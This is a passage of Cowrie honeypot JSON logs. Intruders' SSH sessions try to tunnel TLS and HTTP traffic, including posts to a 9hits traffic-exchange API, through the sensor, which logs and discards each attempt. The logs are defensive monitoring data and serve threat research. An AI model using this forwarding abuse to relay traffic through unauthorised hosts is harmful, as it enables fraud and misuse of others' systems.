deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/9.1.2 Safari/602.4.8\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=TSpyJGYrWSovS0ZCSn5WOA%3D%3DJR1PnTrosukJU5s2lsXW1MWFImWRo%2BY0Oy5FnUvBsqOGB6Dqp%2F4csy49BdWR%2B1yWAiz5FU1XYX8yarvCpgr1gn8pSHQPDOOZ372%2FklCF0fpRP0VzmLhWIpU7Iu8qjeT04ujexyqqp%2FClBAGQt12kP%2ByDtrfCYWdI9MTO7mhQr8prD%2FarX0148mhIiVtgfX%2F0qv5CKR03ApC0wxF%2BOe7%2BTygvxR%2FloamMTUIKyF9THXESJOohi3AsQHKYxAvJiWR5PlkZKxmsgnvAGuozYue9Rye2EtlJ64rmM3ko0zfXxdnxXI0p5kyAULvyXyZoPMQ%2Fsv%2FN90pTphsf1Uvp8Igg7CwmK22EKIsYJjGAHt2rMa0svrEVnsHPowwgT3NxJiFEbUqDMEwVvSKuxkG7JBMYgLlzxMdSX45SQI7qWdhf0QKJcgv06EKSdgKcwX1B%2BwOlCUZvT2tbwa%2BoAXiAZQptk3hNm%2Bks76p0T28Yx7REE3Rnt7%2Fd2PEsBvd091KHuMHNhtXAX9Oj5ethswe22OWZfpuWjc%2FrZIHMxB3jk3rSqraUuNDo51aGkj4MEEReq4xkAuFK5lS9kkG1dpQorOSUZaY3gu6MSez3%2FkbkNmAUuVAwrGEYlGn%2B2W%2FqLSuOjgOXhYNHb9fqNGbM3LafV8xCXG9bImgKx4ysSrca6hMTfHh4MWt2LOHpJB7UYGOe3xyX8fc9XW%2FSZPPEp1g%2FpwBMGtvraAFZ1SFGm5EBr6OJ0O40TGD0bseCvOreE9EmKXXHeYN7J0C%2FZMQCeSAHwcpuZGYn6zrTFrpWpRXW8yLkSsORJWUF4Hl757aVzhrhpQEPc0VNEQfnW%2Fg0Jq2lzNjiiu7jb7Wv0ylDJNRMfhlNPorMs9eamEk%2FazExHPwzogGv%2BUe%2FhGkJhWW9J7M1WFPY7gLFDQm28EDApvQMCY7a1VXajdwDHDr%2Bymk4%2FTDroCOWHsOaRLZ3cxZpjkbX5N3PckWeHztQKqwBsg6XKuxywyQ2yDE%2B173aT%2Bowbyu4iAL5lDzgi0WXx%2FkImxwc%2Bjt6%2F7Z%2Bg8mqbMNWKd%2F8iz0hwOU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.414796Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.418164Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\xafnP\\x1c;u0\\xec\\xf3w\\xf4\\x88\\xf3~\\x80\\xcc\\xdd\\xd1A\\xc0>V\\xef\\xdaQf\\x9a\\xe4CX\\xca ]\\x1f0\\x00\\xb1\\xc7\\xb9\\x98+\\xd8\\xb5!V>\\x1a\\xfcn\\xbd\\x02W\\xbfe%\\xc6\\x89 n\\xc0\\t\\xc1\\xfd?\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ]\\xc1\\xcd1I\\xc3&\\xfc\\xbcR&\\xa7\\xb9g\\xeb\\x18\\n\\x02\\xe4\\xcd\\x8dE\\xdb\\x0fV\\x1b\\xb7\\x86J\\x9eiw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe9\\xafnP\\x1c;u0\\xec\\xf3w\\xf4\\x88\\xf3~\\x80\\xcc\\xdd\\xd1A\\xc0>V\\xef\\xdaQf\\x9a\\xe4CX\\xca ]\\x1f0\\x00\\xb1\\xc7\\xb9\\x98+\\xd8\\xb5!V>\\x1a\\xfcn\\xbd\\x02W\\xbfe%\\xc6\\x89 n\\xc0\\t\\xc1\\xfd?\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ]\\xc1\\xcd1I\\xc3&\\xfc\\xbcR&\\xa7\\xb9g\\xeb\\x18\\n\\x02\\xe4\\xcd\\x8dE\\xdb\\x0fV\\x1b\\xb7\\x86J\\x9eiw\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.420491Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.654540Z","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.885226Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5|3\\x0bd\\xfbN\\x199\\xb1\\xfa\\x94T\\xd6\\xb8\\x0c\\x03\\x1f:\\x1b\\xcb\\x95l\\xb4;\\x9e\\xdb\\x0c\\xa6\\x8di\\xfb \\x90\\xd6\\xafF\\x14\\xd7y\\x99\\xf5\\x96\\xf6\\x02\\xd6\\x86\\x1b\\xb4\\x1e\\xbc\\x92+<\\xe5\\x06\\xef3\\xb9+y\\xc2\\xf7\\xf0\\xac\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18-\\xd11\\xdeJq\\xf1\\x9f\\rnk\\xa8\\x16\\xcbi\\xc4\\xc9\\xd3\\xadf.\\xa9\\xd4\\x8b\\xea\\xfb\\xfd\\x1b\\xdauQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5|3\\x0bd\\xfbN\\x199\\xb1\\xfa\\x94T\\xd6\\xb8\\x0c\\x03\\x1f:\\x1b\\xcb\\x95l\\xb4;\\x9e\\xdb\\x0c\\xa6\\x8di\\xfb \\x90\\xd6\\xafF\\x14\\xd7y\\x99\\xf5\\x96\\xf6\\x02\\xd6\\x86\\x1b\\xb4\\x1e\\xbc\\x92+<\\xe5\\x06\\xef3\\xb9+y\\xc2\\xf7\\xf0\\xac\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18-\\xd11\\xdeJq\\xf1\\x9f\\rnk\\xa8\\x16\\xcbi\\xc4\\xc9\\xd3\\xadf.\\xa9\\xd4\\x8b\\xea\\xfb\\xfd\\x1b\\xdauQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:37.888094Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:38.253678Z","src_ip":"123.27.168.40","session":"6c6854db5d76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.54886341094971,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:38.440251Z","src_ip":"172.81.62.90","session":"d979f8e22f97","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:38.720487Z","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.84604096412659,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:38.759423Z","src_ip":"172.81.62.90","session":"a5b006edb517","protocol":"telnet"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:39.196749Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x7f\\x05\\xd5k\\xc3\\xabz\\n5l\\xb9\\x1e,\\x88\\xea\\x9c\\xcf/i\\xc9,\\xae\\xd6\\x0e\\xb1\\xd3\\xd2aN\\xc1\\xfd C\\x83\\x1e\\xf6vY\\xa1j\\x02\\xf7\\xcc\\xa1\\xa2v\\x8f\\x1c\\xdc\\xfa\\xee\\xc6c\\xcd\\x13\\x13\\x1b\\x9c\\x14\\xe4\\xcbB`o\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 /\\xc9,@\\x90\\xefi\\xe2\\xb6=\\xee;$L\\xa0\\xea\\xc0f\\xf7\\xc1\\x90\\x11\\xc9C\\xd3\\xa5-\\x1f\\xcf\\x1b\\x02s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xfa\\x7f\\x05\\xd5k\\xc3\\xabz\\n5l\\xb9\\x1e,\\x88\\xea\\x9c\\xcf/i\\xc9,\\xae\\xd6\\x0e\\xb1\\xd3\\xd2aN\\xc1\\xfd C\\x83\\x1e\\xf6vY\\xa1j\\x02\\xf7\\xcc\\xa1\\xa2v\\x8f\\x1c\\xdc\\xfa\\xee\\xc6c\\xcd\\x13\\x13\\x1b\\x9c\\x14\\xe4\\xcbB`o\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 /\\xc9,@\\x90\\xefi\\xe2\\xb6=\\xee;$L\\xa0\\xea\\xc0f\\xf7\\xc1\\x90\\x11\\xc9C\\xd3\\xa5-\\x1f\\xcf\\x1b\\x02s\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:08:39.199801Z","src_ip":"23.148.145.132","session":"a4a5008191bc","protocol":"ssh"}
